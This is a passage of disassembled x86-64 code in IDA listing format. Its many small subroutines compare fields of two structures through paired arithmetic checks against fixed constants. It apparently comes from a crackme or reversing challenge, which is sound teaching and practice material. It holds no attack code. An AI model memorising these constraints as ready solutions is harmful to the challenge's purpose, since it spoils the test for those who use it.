.text:0000000000400F39 mov rax, [rbp+var_8]
.text:0000000000400F3D movss xmm0, dword ptr [rax+32h]
.text:0000000000400F42 mov rax, [rbp+var_10]
.text:0000000000400F46 movss xmm1, dword ptr [rax+68h]
.text:0000000000400F4B subss xmm0, xmm1
.text:0000000000400F4F ucomiss xmm0, cs:dword_404C70
.text:0000000000400F56 jp short loc_400F68
.text:0000000000400F58 ucomiss xmm0, cs:dword_404C70
.text:0000000000400F5F jnz short loc_400F68
.text:0000000000400F61 mov eax, 1
.text:0000000000400F66 jmp short loc_400F6D
.text:0000000000400F68 ; ---------------------------------------------------------------------------
.text:0000000000400F68
.text:0000000000400F68 loc_400F68: ; CODE XREF: sub_400F05+29↑j
.text:0000000000400F68 ; sub_400F05+32↑j ...
.text:0000000000400F68 mov eax, 0
.text:0000000000400F6D
.text:0000000000400F6D loc_400F6D: ; CODE XREF: sub_400F05+61↑j
.text:0000000000400F6D pop rbp
.text:0000000000400F6E retn
.text:0000000000400F6E ; } // starts at 400F05
.text:0000000000400F6E sub_400F05 endp
.text:0000000000400F6E
.text:0000000000400F6F
.text:0000000000400F6F ; =============== S U B R O U T I N E =======================================
.text:0000000000400F6F
.text:0000000000400F6F ; Attributes: bp-based frame
.text:0000000000400F6F
.text:0000000000400F6F sub_400F6F proc near ; CODE XREF: sub_4036FC+543↓p
.text:0000000000400F6F
.text:0000000000400F6F var_10 = qword ptr -10h
.text:0000000000400F6F var_8 = qword ptr -8
.text:0000000000400F6F
.text:0000000000400F6F ; __unwind {
.text:0000000000400F6F push rbp
.text:0000000000400F70 mov rbp, rsp
.text:0000000000400F73 mov [rbp+var_8], rdi
.text:0000000000400F77 mov [rbp+var_10], rsi
.text:0000000000400F7B mov rax, [rbp+var_8]
.text:0000000000400F7F movzx eax, byte ptr [rax+24h]
.text:0000000000400F83 mov edx, eax
.text:0000000000400F85 mov rax, [rbp+var_10]
.text:0000000000400F89 movzx eax, byte ptr [rax+25h]
.text:0000000000400F8D sub edx, eax
.text:0000000000400F8F mov eax, edx
.text:0000000000400F91 cmp al, 0DFh
.text:0000000000400F93 jnz short loc_400FB9
.text:0000000000400F95 mov rax, [rbp+var_8]
.text:0000000000400F99 movzx eax, byte ptr [rax+24h]
.text:0000000000400F9D mov ecx, eax
.text:0000000000400F9F mov rax, [rbp+var_10]
.text:0000000000400FA3 movzx eax, byte ptr [rax+25h]
.text:0000000000400FA7 mov edx, eax
.text:0000000000400FA9 mov eax, ecx
.text:0000000000400FAB imul eax, edx
.text:0000000000400FAE cmp al, 9Ch
.text:0000000000400FB0 jnz short loc_400FB9
.text:0000000000400FB2 mov eax, 1
.text:0000000000400FB7 jmp short loc_400FBE
.text:0000000000400FB9 ; ---------------------------------------------------------------------------
.text:0000000000400FB9
.text:0000000000400FB9 loc_400FB9: ; CODE XREF: sub_400F6F+24↑j
.text:0000000000400FB9 ; sub_400F6F+41↑j
.text:0000000000400FB9 mov eax, 0
.text:0000000000400FBE
.text:0000000000400FBE loc_400FBE: ; CODE XREF: sub_400F6F+48↑j
.text:0000000000400FBE pop rbp
.text:0000000000400FBF retn
.text:0000000000400FBF ; } // starts at 400F6F
.text:0000000000400FBF sub_400F6F endp
.text:0000000000400FBF
.text:0000000000400FC0
.text:0000000000400FC0 ; =============== S U B R O U T I N E =======================================
.text:0000000000400FC0
.text:0000000000400FC0 ; Attributes: bp-based frame
.text:0000000000400FC0
.text:0000000000400FC0 sub_400FC0 proc near ; CODE XREF: sub_4036FC+562↓p
.text:0000000000400FC0
.text:0000000000400FC0 var_10 = qword ptr -10h
.text:0000000000400FC0 var_8 = qword ptr -8
.text:0000000000400FC0
.text:0000000000400FC0 ; __unwind {
.text:0000000000400FC0 push rbp
.text:0000000000400FC1 mov rbp, rsp
.text:0000000000400FC4 mov [rbp+var_8], rdi
.text:0000000000400FC8 mov [rbp+var_10], rsi
.text:0000000000400FCC mov rax, [rbp+var_8]
.text:0000000000400FD0 movzx eax, byte ptr [rax+2Ch]
.text:0000000000400FD4 mov edx, eax
.text:0000000000400FD6 mov rax, [rbp+var_10]
.text:0000000000400FDA movzx eax, byte ptr [rax+42h]
.text:0000000000400FDE sub edx, eax
.text:0000000000400FE0 mov eax, edx
.text:0000000000400FE2 cmp al, 1
.text:0000000000400FE4 jnz short loc_401005
.text:0000000000400FE6 mov rax, [rbp+var_8]
.text:0000000000400FEA movzx eax, byte ptr [rax+2Ch]
.text:0000000000400FEE mov edx, eax
.text:0000000000400FF0 mov rax, [rbp+var_10]
.text:0000000000400FF4 movzx eax, byte ptr [rax+42h]
.text:0000000000400FF8 add eax, edx
.text:0000000000400FFA cmp al, 5Bh
.text:0000000000400FFC jnz short loc_401005
.text:0000000000400FFE mov eax, 1
.text:0000000000401003 jmp short loc_40100A
.text:0000000000401005 ; ---------------------------------------------------------------------------
.text:0000000000401005
.text:0000000000401005 loc_401005: ; CODE XREF: sub_400FC0+24↑j
.text:0000000000401005 ; sub_400FC0+3C↑j
.text:0000000000401005 mov eax, 0
.text:000000000040100A
.text:000000000040100A loc_40100A: ; CODE XREF: sub_400FC0+43↑j
.text:000000000040100A pop rbp
.text:000000000040100B retn
.text:000000000040100B ; } // starts at 400FC0
.text:000000000040100B sub_400FC0 endp
.text:000000000040100B
.text:000000000040100C
.text:000000000040100C ; =============== S U B R O U T I N E =======================================
.text:000000000040100C
.text:000000000040100C ; Attributes: bp-based frame
.text:000000000040100C
.text:000000000040100C sub_40100C proc near ; CODE XREF: sub_4036FC+581↓p
.text:000000000040100C
.text:000000000040100C var_10 = qword ptr -10h
.text:000000000040100C var_8 = qword ptr -8
.text:000000000040100C
.text:000000000040100C ; __unwind {
.text:000000000040100C push rbp
.text:000000000040100D mov rbp, rsp
.text:0000000000401010 mov [rbp+var_8], rdi
.text:0000000000401014 mov [rbp+var_10], rsi
.text:0000000000401018 mov rax, [rbp+var_8]
.text:000000000040101C movzx eax, byte ptr [rax+1]
.text:0000000000401020 mov edx, eax
.text:0000000000401022 mov rax, [rbp+var_10]
.text:0000000000401026 movzx eax, byte ptr [rax+36h]
.text:000000000040102A sub edx, eax
.text:000000000040102C mov eax, edx
.text:000000000040102E cmp al, 0FBh
.text:0000000000401030 jnz short loc_401056
.text:0000000000401032 mov rax, [rbp+var_8]
.text:0000000000401036 movzx eax, byte ptr [rax+1]
.text:000000000040103A movsx eax, al
.text:000000000040103D mov rdx, [rbp+var_10]
.text:0000000000401041 movzx edx, byte ptr [rdx+36h]
.text:0000000000401045 movsx ecx, dl
.text:0000000000401048 cdq
.text:0000000000401049 idiv ecx
.text:000000000040104B test al, al
.text:000000000040104D jnz short loc_401056
.text:000000000040104F mov eax, 1
.text:0000000000401054 jmp short loc_40105B
.text:0000000000401056 ; ---------------------------------------------------------------------------
.text:0000000000401056
.text:0000000000401056 loc_401056: ; CODE XREF: sub_40100C+24↑j
.text:0000000000401056 ; sub_40100C+41↑j
.text:0000000000401056 mov eax, 0
.text:000000000040105B
.text:000000000040105B loc_40105B: ; CODE XREF: sub_40100C+48↑j
.text:000000000040105B pop rbp
.text:000000000040105C retn
.text:000000000040105C ; } // starts at 40100C
.text:000000000040105C sub_40100C endp
.text:000000000040105C
.text:000000000040105D
.text:000000000040105D ; =============== S U B R O U T I N E =======================================
.text:000000000040105D
.text:000000000040105D ; Attributes: bp-based frame
.text:000000000040105D
.text:000000000040105D sub_40105D proc near ; CODE XREF: sub_4036FC+5A0↓p
.text:000000000040105D
.text:000000000040105D var_10 = qword ptr -10h
.text:000000000040105D var_8 = qword ptr -8
.text:000000000040105D
.text:000000000040105D ; __unwind {
.text:000000000040105D push rbp
.text:000000000040105E mov rbp, rsp
.text:0000000000401061 mov [rbp+var_8], rdi
.text:0000000000401065 mov [rbp+var_10], rsi
.text:0000000000401069 mov rax, [rbp+var_8]
.text:000000000040106D movzx eax, byte ptr [rax+1]
.text:0000000000401071 movsx eax, al
.text:0000000000401074 mov rdx, [rbp+var_10]
.text:0000000000401078 movzx edx, byte ptr [rdx+37h]
.text:000000000040107C movsx ecx, dl
.text:000000000040107F cdq
.text:0000000000401080 idiv ecx
.text:0000000000401082 test al, al
.text:0000000000401084 jnz short loc_4010A7
.text:0000000000401086 mov rax, [rbp+var_8]
.text:000000000040108A movzx eax, byte ptr [rax+1]
.text:000000000040108E mov edx, eax
.text:0000000000401090 mov rax, [rbp+var_10]
.text:0000000000401094 movzx eax, byte ptr [rax+37h]
.text:0000000000401098 sub edx, eax
.text:000000000040109A mov eax, edx
.text:000000000040109C cmp al, 0FAh
.text:000000000040109E jnz short loc_4010A7
.text:00000000004010A0 mov eax, 1
.text:00000000004010A5 jmp short loc_4010AC
.text:00000000004010A7 ; ---------------------------------------------------------------------------
.text:00000000004010A7
.text:00000000004010A7 loc_4010A7: ; CODE XREF: sub_40105D+27↑j
.text:00000000004010A7 ; sub_40105D+41↑j
.text:00000000004010A7 mov eax, 0
.text:00000000004010AC
.text:00000000004010AC loc_4010AC: ; CODE XREF: sub_40105D+48↑j
.text:00000000004010AC pop rbp
.text:00000000004010AD retn
.text:00000000004010AD ; } // starts at 40105D
.text:00000000004010AD sub_40105D endp
.text:00000000004010AD
.text:00000000004010AE
.text:00000000004010AE ; =============== S U B R O U T I N E =======================================
.text:00000000004010AE
.text:00000000004010AE ; Attributes: bp-based frame
.text:00000000004010AE
.text:00000000004010AE sub_4010AE proc near ; CODE XREF: sub_4036FC+5BF↓p
.text:00000000004010AE
.text:00000000004010AE var_10 = qword ptr -10h
.text:00000000004010AE var_8 = qword ptr -8
.text:00000000004010AE
.text:00000000004010AE ; __unwind {
.text:00000000004010AE push rbp
.text:00000000004010AF mov rbp, rsp
.text:00000000004010B2 mov [rbp+var_8], rdi
.text:00000000004010B6 mov [rbp+var_10], rsi
.text:00000000004010BA mov rax, [rbp+var_8]
.text:00000000004010BE movzx eax, word ptr [rax+30h]
.text:00000000004010C2 mov edx, eax
.text:00000000004010C4 mov rax, [rbp+var_10]
.text:00000000004010C8 movzx eax, word ptr [rax+3Ch]
.text:00000000004010CC sub edx, eax
.text:00000000004010CE mov eax, edx
.text:00000000004010D0 cmp ax, 0BFB3h
.text:00000000004010D4 jnz short loc_4010F9
.text:00000000004010D6 mov rax, [rbp+var_8]
.text:00000000004010DA movzx eax, word ptr [rax+30h]
.text:00000000004010DE cwde
.text:00000000004010DF mov rdx, [rbp+var_10]
.text:00000000004010E3 movzx edx, word ptr [rdx+3Ch]
.text:00000000004010E7 movsx ecx, dx
.text:00000000004010EA cdq
.text:00000000004010EB idiv ecx
.text:00000000004010ED test ax, ax
.text:00000000004010F0 jnz short loc_4010F9
.text:00000000004010F2 mov eax, 1
.text:00000000004010F7 jmp short loc_4010FE
.text:00000000004010F9 ; ---------------------------------------------------------------------------
.text:00000000004010F9
.text:00000000004010F9 loc_4010F9: ; CODE XREF: sub_4010AE+26↑j
.text:00000000004010F9 ; sub_4010AE+42↑j
.text:00000000004010F9 mov eax, 0
.text:00000000004010FE
.text:00000000004010FE loc_4010FE: ; CODE XREF: sub_4010AE+49↑j
.text:00000000004010FE pop rbp
.text:00000000004010FF retn
.text:00000000004010FF ; } // starts at 4010AE
.text:00000000004010FF sub_4010AE endp
.text:00000000004010FF
.text:0000000000401100
.text:0000000000401100 ; =============== S U B R O U T I N E =======================================
.text:0000000000401100
.text:0000000000401100 ; Attributes: bp-based frame
.text:0000000000401100
.text:0000000000401100 sub_401100 proc near ; CODE XREF: sub_4036FC+5DE↓p
.text:0000000000401100
.text:0000000000401100 var_10 = qword ptr -10h
.text:0000000000401100 var_8 = qword ptr -8
.text:0000000000401100
.text:0000000000401100 ; __unwind {
.text:0000000000401100 push rbp
.text:0000000000401101 mov rbp, rsp
.text:0000000000401104 mov [rbp+var_8], rdi
.text:0000000000401108 mov [rbp+var_10], rsi
.text:000000000040110C mov rax, [rbp+var_8]
.text:0000000000401110 movzx eax, word ptr [rax+38h]
.text:0000000000401114 mov edx, eax
.text:0000000000401116 mov rax, [rbp+var_10]
.text:000000000040111A movzx eax, word ptr [rax+3Ch]
.text:000000000040111E imul eax, edx
.text:0000000000401121 cmp ax, 0F532h
.text:0000000000401125 jnz short loc_40114B
.text:0000000000401127 mov rax, [rbp+var_8]
.text:000000000040112B movzx eax, word ptr [rax+38h]
.text:000000000040112F cwde
.text:0000000000401130 mov rdx, [rbp+var_10]
.text:0000000000401134 movzx edx, word ptr [rdx+3Ch]
.text:0000000000401138 movsx ecx, dx
.text:000000000040113B cdq
.text:000000000040113C idiv ecx
.text:000000000040113E cmp ax, 1
.text:0000000000401142 jnz short loc_40114B
.text:0000000000401144 mov eax, 1
.text:0000000000401149 jmp short loc_401150
.text:000000000040114B ; ---------------------------------------------------------------------------
.text:000000000040114B
.text:000000000040114B loc_40114B: ; CODE XREF: sub_401100+25↑j
.text:000000000040114B ; sub_401100+42↑j
.text:000000000040114B mov eax, 0
.text:0000000000401150
.text:0000000000401150 loc_401150: ; CODE XREF: sub_401100+49↑j
.text:0000000000401150 pop rbp
.text:0000000000401151 retn
.text:0000000000401151 ; } // starts at 401100
.text:0000000000401151 sub_401100 endp
.text:0000000000401151
.text:0000000000401152
.text:0000000000401152 ; =============== S U B R O U T I N E =======================================
.text:0000000000401152
.text:0000000000401152 ; Attributes: bp-based frame
.text:0000000000401152
.text:0000000000401152 sub_401152 proc near ; CODE XREF: sub_4036FC+5FD↓p
.text:0000000000401152
.text:0000000000401152 var_10 = qword ptr -10h
.text:0000000000401152 var_8 = qword ptr -8
.text:0000000000401152
.text:0000000000401152 ; __unwind {
.text:0000000000401152 push rbp
.text:0000000000401153 mov rbp, rsp
.text:0000000000401156 mov [rbp+var_8], rdi
.text:000000000040115A mov [rbp+var_10], rsi
.text:000000000040115E mov rax, [rbp+var_8]
.text:0000000000401162 movzx eax, word ptr [rax+3Ah]
.text:0000000000401166 mov edx, eax
.text:0000000000401168 mov rax, [rbp+var_10]
.text:000000000040116C movzx eax, word ptr [rax+42h]
.text:0000000000401170 imul eax, edx
.text:0000000000401173 cmp ax, 0D529h
.text:0000000000401177 jnz short loc_40119C
.text:0000000000401179 mov rax, [rbp+var_8]
.text:000000000040117D movzx eax, word ptr [rax+3Ah]
.text:0000000000401181 mov edx, eax
.text:0000000000401183 mov rax, [rbp+var_10]
.text:0000000000401187 movzx eax, word ptr [rax+42h]
.text:000000000040118B sub edx, eax
.text:000000000040118D mov eax, edx
.text:000000000040118F cmp ax, 40h
.text:0000000000401193 jnz short loc_40119C
.text:0000000000401195 mov eax, 1
.text:000000000040119A jmp short loc_4011A1
.text:000000000040119C ; ---------------------------------------------------------------------------
.text:000000000040119C
.text:000000000040119C loc_40119C: ; CODE XREF: sub_401152+25↑j
.text:000000000040119C ; sub_401152+41↑j
.text:000000000040119C mov eax, 0
.text:00000000004011A1
.text:00000000004011A1 loc_4011A1: ; CODE XREF: sub_401152+48↑j
.text:00000000004011A1 pop rbp
.text:00000000004011A2 retn
.text:00000000004011A2 ; } // starts at 401152
.text:00000000004011A2 sub_401152 endp
.text:00000000004011A2
.text:00000000004011A3
.text:00000000004011A3 ; =============== S U B R O U T I N E =======================================
.text:00000000004011A3
.text:00000000004011A3 ; Attributes: bp-based frame
.text:00000000004011A3
.text:00000000004011A3 sub_4011A3 proc near ; CODE XREF: sub_4036FC+61C↓p
.text:00000000004011A3
.text:00000000004011A3 var_10 = qword ptr -10h
.text:00000000004011A3 var_8 = qword ptr -8
.text:00000000004011A3
.text:00000000004011A3 ; __unwind {
.text:00000000004011A3 push rbp
.text:00000000004011A4 mov rbp, rsp
.text:00000000004011A7 mov [rbp+var_8], rdi
.text:00000000004011AB mov [rbp+var_10], rsi
.text:00000000004011AF mov rax, [rbp+var_8]
.text:00000000004011B3 movzx eax, word ptr [rax+3Ah]
.text:00000000004011B7 mov edx, eax
.text:00000000004011B9 mov rax, [rbp+var_10]
.text:00000000004011BD movzx eax, word ptr [rax+4Ch]
.text:00000000004011C1 add eax, edx
.text:00000000004011C3 cmp ax, 6FE1h
.text:00000000004011C7 jnz short loc_4011EC
.text:00000000004011C9 mov rax, [rbp+var_8]
.text:00000000004011CD movzx eax, word ptr [rax+3Ah]
.text:00000000004011D1 mov edx, eax
.text:00000000004011D3 mov rax, [rbp+var_10]
.text:00000000004011D7 movzx eax, word ptr [rax+4Ch]
.text:00000000004011DB sub edx, eax
.text:00000000004011DD mov eax, edx
.text:00000000004011DF cmp ax, 5AF9h
.text:00000000004011E3 jnz short loc_4011EC
.text:00000000004011E5 mov eax, 1
.text:00000000004011EA jmp short loc_4011F1
.text:00000000004011EC ; ---------------------------------------------------------------------------
.text:00000000004011EC
.text:00000000004011EC loc_4011EC: ; CODE XREF: sub_4011A3+24↑j
.text:00000000004011EC ; sub_4011A3+40↑j
.text:00000000004011EC mov eax, 0
.text:00000000004011F1
.text:00000000004011F1 loc_4011F1: ; CODE XREF: sub_4011A3+47↑j
.text:00000000004011F1 pop rbp
.text:00000000004011F2 retn
.text:00000000004011F2 ; } // starts at 4011A3
.text:00000000004011F2 sub_4011A3 endp
.text:00000000004011F2
.text:00000000004011F3
.text:00000000004011F3 ; =============== S U B R O U T I N E =======================================
.text:00000000004011F3
.text:00000000004011F3 ; Attributes: bp-based frame
.text:00000000004011F3
.text:00000000004011F3 sub_4011F3 proc near ; CODE XREF: sub_4036FC+63B↓p
.text:00000000004011F3
.text:00000000004011F3 var_10 = qword ptr -10h
.text:00000000004011F3 var_8 = qword ptr -8
.text:00000000004011F3
.text:00000000004011F3 ; __unwind {
.text:00000000004011F3 push rbp
.text:00000000004011F4 mov rbp, rsp
.text:00000000004011F7 mov [rbp+var_8], rdi
.text:00000000004011FB mov [rbp+var_10], rsi
.text:00000000004011FF mov rax, [rbp+var_8]
.text:0000000000401203 movzx edx, byte ptr [rax+2Dh]
.text:0000000000401207 mov rax, [rbp+var_10]
.text:000000000040120B movzx eax, byte ptr [rax+52h]
.text:000000000040120F cmp dl, al
.text:0000000000401211 jnz short loc_401237
.text:0000000000401213 mov rax, [rbp+var_8]
.text:0000000000401217 movzx eax, byte ptr [rax+2Dh]
.text:000000000040121B mov ecx, eax
.text:000000000040121D mov rax, [rbp+var_10]
.text:0000000000401221 movzx eax, byte ptr [rax+52h]
.text:0000000000401225 mov edx, eax
.text:0000000000401227 mov eax, ecx
.text:0000000000401229 imul eax, edx
.text:000000000040122C cmp al, 44h
.text:000000000040122E jnz short loc_401237
.text:0000000000401230 mov eax, 1
.text:0000000000401235 jmp short loc_40123C
.text:0000000000401237 ; ---------------------------------------------------------------------------
.text:0000000000401237
.text:0000000000401237 loc_401237: ; CODE XREF: sub_4011F3+1E↑j
.text:0000000000401237 ; sub_4011F3+3B↑j
.text:0000000000401237 mov eax, 0
.text:000000000040123C
.text:000000000040123C loc_40123C: ; CODE XREF: sub_4011F3+42↑j
.text:000000000040123C pop rbp
.text:000000000040123D retn
.text:000000000040123D ; } // starts at 4011F3
.text:000000000040123D sub_4011F3 endp
.text:000000000040123D
.text:000000000040123E
.text:000000000040123E ; =============== S U B R O U T I N E =======================================
.text:000000000040123E
.text:000000000040123E ; Attributes: bp-based frame
.text:000000000040123E
.text:000000000040123E sub_40123E proc near ; CODE XREF: sub_4036FC+65A↓p
.text:000000000040123E
.text:000000000040123E var_10 = qword ptr -10h
.text:000000000040123E var_8 = qword ptr -8
.text:000000000040123E
.text:000000000040123E ; __unwind {
.text:000000000040123E push rbp
.text:000000000040123F mov rbp, rsp
.text:0000000000401242 mov [rbp+var_8], rdi
.text:0000000000401246 mov [rbp+var_10], rsi
.text:000000000040124A mov rax, [rbp+var_8]
.text:000000000040124E movzx eax, word ptr [rax+3Eh]
.text:0000000000401252 mov edx, eax
.text:0000000000401254 mov rax, [rbp+var_10]
.text:0000000000401258 movzx eax, word ptr [rax+40h]
.text:000000000040125C imul eax, edx
.text:000000000040125F cmp ax, 0F3A2h
.text:0000000000401263 jnz short loc_401286
.text:0000000000401265 mov rax, [rbp+var_8]
.text:0000000000401269 movzx eax, word ptr [rax+3Eh]
.text:000000000040126D mov edx, eax
.text:000000000040126F mov rax, [rbp+var_10]
.text:0000000000401273 movzx eax, word ptr [rax+40h]
.text:0000000000401277 add eax, edx
.text:0000000000401279 cmp ax, 0C6D1h
.text:000000000040127D jnz short loc_401286
.text:000000000040127F mov eax, 1
.text:0000000000401284 jmp short loc_40128B
.text:0000000000401286 ; ---------------------------------------------------------------------------
.text:0000000000401286
.text:0000000000401286 loc_401286: ; CODE XREF: sub_40123E+25↑j
.text:0000000000401286 ; sub_40123E+3F↑j
.text:0000000000401286 mov eax, 0
.text:000000000040128B
.text:000000000040128B loc_40128B: ; CODE XREF: sub_40123E+46↑j
.text:000000000040128B pop rbp
.text:000000000040128C retn
.text:000000000040128C ; } // starts at 40123E
.text:000000000040128C sub_40123E endp
.text:000000000040128C
.text:000000000040128D
.text:000000000040128D ; =============== S U B R O U T I N E =======================================
.text:000000000040128D
.text:000000000040128D ; Attributes: bp-based frame
.text:000000000040128D
.text:000000000040128D sub_40128D proc near ; CODE XREF: sub_4036FC+679↓p
.text:000000000040128D
.text:000000000040128D var_10 = qword ptr -10h
.text:000000000040128D var_8 = qword ptr -8
.text:000000000040128D
.text:000000000040128D ; __unwind {
.text:000000000040128D push rbp
.text:000000000040128E mov rbp, rsp
.text:0000000000401291 mov [rbp+var_8], rdi
.text:0000000000401295 mov [rbp+var_10], rsi
.text:0000000000401299 mov rax, [rbp+var_8]
.text:000000000040129D mov edx, [rax+3Eh]
.text:00000000004012A0 mov rax, [rbp+var_10]
.text:00000000004012A4 mov eax, [rax+44h]
.text:00000000004012A7 sub edx, eax
.text:00000000004012A9 mov eax, edx
.text:00000000004012AB cmp eax, 0F901FFF9h
.text:00000000004012B0 jnz short loc_4012D0
.text:00000000004012B2 mov rax, [rbp+var_8]
.text:00000000004012B6 mov edx, [rax+3Eh]
.text:00000000004012B9 mov rax, [rbp+var_10]
.text:00000000004012BD mov eax, [rax+44h]
.text:00000000004012C0 add eax, edx
.text:00000000004012C2 cmp eax, 0D1D4C2D3h
.text:00000000004012C7 jnz short loc_4012D0
.text:00000000004012C9 mov eax, 1
.text:00000000004012CE jmp short loc_4012D5
.text:00000000004012D0 ; ---------------------------------------------------------------------------
.text:00000000004012D0
.text:00000000004012D0 loc_4012D0: ; CODE XREF: sub_40128D+23↑j
.text:00000000004012D0 ; sub_40128D+3A↑j
.text:00000000004012D0 mov eax, 0
.text:00000000004012D5
.text:00000000004012D5 loc_4012D5: ; CODE XREF: sub_40128D+41↑j
.text:00000000004012D5 pop rbp
.text:00000000004012D6 retn
.text:00000000004012D6 ; } // starts at 40128D
.text:00000000004012D6 sub_40128D endp
.text:00000000004012D6
.text:00000000004012D7
.text:00000000004012D7 ; =============== S U B R O U T I N E =======================================
.text:00000000004012D7
.text:00000000004012D7 ; Attributes: bp-based frame
.text:00000000004012D7
.text:00000000004012D7 sub_4012D7 proc near ; CODE XREF: sub_4036FC+698↓p
.text:00000000004012D7
.text:00000000004012D7 var_10 = qword ptr -10h
.text:00000000004012D7 var_8 = qword ptr -8
.text:00000000004012D7
.text:00000000004012D7 ; __unwind {
.text:00000000004012D7 push rbp
.text:00000000004012D8 mov rbp, rsp
.text:00000000004012DB mov [rbp+var_8], rdi
.text:00000000004012DF mov [rbp+var_10], rsi
.text:00000000004012E3 mov rax, [rbp+var_8]
.text:00000000004012E7 movzx eax, word ptr [rax+44h]
.text:00000000004012EB mov edx, eax
.text:00000000004012ED mov rax, [rbp+var_10]
.text:00000000004012F1 movzx eax, word ptr [rax+4Ch]
.text:00000000004012F5 imul eax, edx
.text:00000000004012F8 cmp ax, 6764h
.text:00000000004012FC jnz short loc_40131F
.text:00000000004012FE mov rax, [rbp+var_8]
.text:0000000000401302 movzx eax, word ptr [rax+44h]
.text:0000000000401306 mov edx, eax
.text:0000000000401308 mov rax, [rbp+var_10]
.text:000000000040130C movzx eax, word ptr [rax+4Ch]
.text:0000000000401310 add eax, edx
.text:0000000000401312 cmp ax, 6BE1h
.text:0000000000401316 jnz short loc_40131F
.text:0000000000401318 mov eax, 1
.text:000000000040131D jmp short loc_401324
.text:000000000040131F ; ---------------------------------------------------------------------------
.text:000000000040131F
.text:000000000040131F loc_40131F: ; CODE XREF: sub_4012D7+25↑j
.text:000000000040131F ; sub_4012D7+3F↑j
.text:000000000040131F mov eax, 0
.text:0000000000401324
.text:0000000000401324 loc_401324: ; CODE XREF: sub_4012D7+46↑j
.text:0000000000401324 pop rbp
.text:0000000000401325 retn
.text:0000000000401325 ; } // starts at 4012D7
.text:0000000000401325 sub_4012D7 endp
.text:0000000000401325
.text:0000000000401326
.text:0000000000401326 ; =============== S U B R O U T I N E =======================================
.text:0000000000401326
.text:0000000000401326 ; Attributes: bp-based frame
.text:0000000000401326
.text:0000000000401326 sub_401326 proc near ; CODE XREF: sub_4036FC+6B7↓p
.text:0000000000401326
.text:0000000000401326 var_10 = qword ptr -10h
.text:0000000000401326 var_8 = qword ptr -8
.text:0000000000401326
.text:0000000000401326 ; __unwind {
.text:0000000000401326 push rbp
.text:0000000000401327 mov rbp, rsp
.text:000000000040132A mov [rbp+var_8], rdi
.text:000000000040132E mov [rbp+var_10], rsi
.text:0000000000401332 mov rax, [rbp+var_8]
.text:0000000000401336 movzx eax, byte ptr [rax+43h]
.text:000000000040133A mov edx, eax
.text:000000000040133C mov rax, [rbp+var_10]
.text:0000000000401340 movzx eax, byte ptr [rax+4Eh]
.text:0000000000401344 sub edx, eax
.text:0000000000401346 mov eax, edx
.text:0000000000401348 cmp al, 37h
.text:000000000040134A jnz short loc_401370
.text:000000000040134C mov rax, [rbp+var_8]
.text:0000000000401350 movzx eax, byte ptr [rax+43h]
.text:0000000000401354 mov ecx, eax
.text:0000000000401356 mov rax, [rbp+var_10]
.text:000000000040135A movzx eax, byte ptr [rax+4Eh]
.text:000000000040135E mov edx, eax
.text:0000000000401360 mov eax, ecx
.text:0000000000401362 imul eax, edx
.text:0000000000401365 cmp al, 26h
.text:0000000000401367 jnz short loc_401370
.text:0000000000401369 mov eax, 1
.text:000000000040136E jmp short loc_401375
.text:0000000000401370 ; ---------------------------------------------------------------------------
.text:0000000000401370
.text:0000000000401370 loc_401370: ; CODE XREF: sub_401326+24↑j
.text:0000000000401370 ; sub_401326+41↑j
.text:0000000000401370 mov eax, 0
.text:0000000000401375
.text:0000000000401375 loc_401375: ; CODE XREF: sub_401326+48↑j
.text:0000000000401375 pop rbp
.text:0000000000401376 retn
.text:0000000000401376 ; } // starts at 401326
.text:0000000000401376 sub_401326 endp
.text:0000000000401376
.text:0000000000401377
.text:0000000000401377 ; =============== S U B R O U T I N E =======================================
.text:0000000000401377
.text:0000000000401377 ; Attributes: bp-based frame
.text:0000000000401377
.text:0000000000401377 sub_401377 proc near ; CODE XREF: sub_4036FC+6D6↓p
.text:0000000000401377
.text:0000000000401377 var_10 = qword ptr -10h
.text:0000000000401377 var_8 = qword ptr -8
.text:0000000000401377
.text:0000000000401377 ; __unwind {
.text:0000000000401377 push rbp
.text:0000000000401378 mov rbp, rsp
.text:000000000040137B mov [rbp+var_8], rdi
.text:000000000040137F mov [rbp+var_10], rsi
.text:0000000000401383 mov rax, [rbp+var_8]
.text:0000000000401387 movzx eax, word ptr [rax+46h]
.text:000000000040138B mov edx, eax
.text:000000000040138D mov rax, [rbp+var_10]
.text:0000000000401391 movzx eax, word ptr [rax+50h]
.text:0000000000401395 sub edx, eax
.text:0000000000401397 mov eax, edx
.text:0000000000401399 cmp ax, 3E3Bh
.text:000000000040139D jnz short loc_4013C0
.text:000000000040139F mov rax, [rbp+var_8]
.text:00000000004013A3 movzx eax, word ptr [rax+46h]
.text:00000000004013A7 mov edx, eax
.text:00000000004013A9 mov rax, [rbp+var_10]
.text:00000000004013AD movzx eax, word ptr [rax+50h]
.text:00000000004013B1 add eax, edx
.text:00000000004013B3 cmp ax, 9A97h
.text:00000000004013B7 jnz short loc_4013C0
.text:00000000004013B9 mov eax, 1
.text:00000000004013BE jmp short loc_4013C5
.text:00000000004013C0 ; ---------------------------------------------------------------------------
.text:00000000004013C0
.text:00000000004013C0 loc_4013C0: ; CODE XREF: sub_401377+26↑j
.text:00000000004013C0 ; sub_401377+40↑j
.text:00000000004013C0 mov eax, 0
.text:00000000004013C5
.text:00000000004013C5 loc_4013C5: ; CODE XREF: sub_401377+47↑j
.text:00000000004013C5 pop rbp
.text:00000000004013C6 retn
.text:00000000004013C6 ; } // starts at 401377
.text:00000000004013C6 sub_401377 endp
.text:00000000004013C6
.text:00000000004013C7
.text:00000000004013C7 ; =============== S U B R O U T I N E =======================================
.text:00000000004013C7
.text:00000000004013C7 ; Attributes: bp-based frame
.text:00000000004013C7
.text:00000000004013C7 sub_4013C7 proc near ; CODE XREF: sub_4036FC+6F5↓p
.text:00000000004013C7
.text:00000000004013C7 var_10 = qword ptr -10h
.text:00000000004013C7 var_8 = qword ptr -8
.text:00000000004013C7
.text:00000000004013C7 ; __unwind {
.text:00000000004013C7 push rbp
.text:00000000004013C8 mov rbp, rsp
.text:00000000004013CB mov [rbp+var_8], rdi
.text:00000000004013CF mov [rbp+var_10], rsi
.text:00000000004013D3 mov rax, [rbp+var_8]
.text:00000000004013D7 movzx eax, word ptr [rax+50h]
.text:00000000004013DB cwde
.text:00000000004013DC mov rdx, [rbp+var_10]
.text:00000000004013E0 movzx edx, word ptr [rdx+52h]
.text:00000000004013E4 movsx ecx, dx
.text:00000000004013E7 cdq
.text:00000000004013E8 idiv ecx
.text:00000000004013EA cmp ax, 1
.text:00000000004013EE jnz short loc_401412
.text:00000000004013F0 mov rax, [rbp+var_8]
.text:00000000004013F4 movzx eax, word ptr [rax+50h]
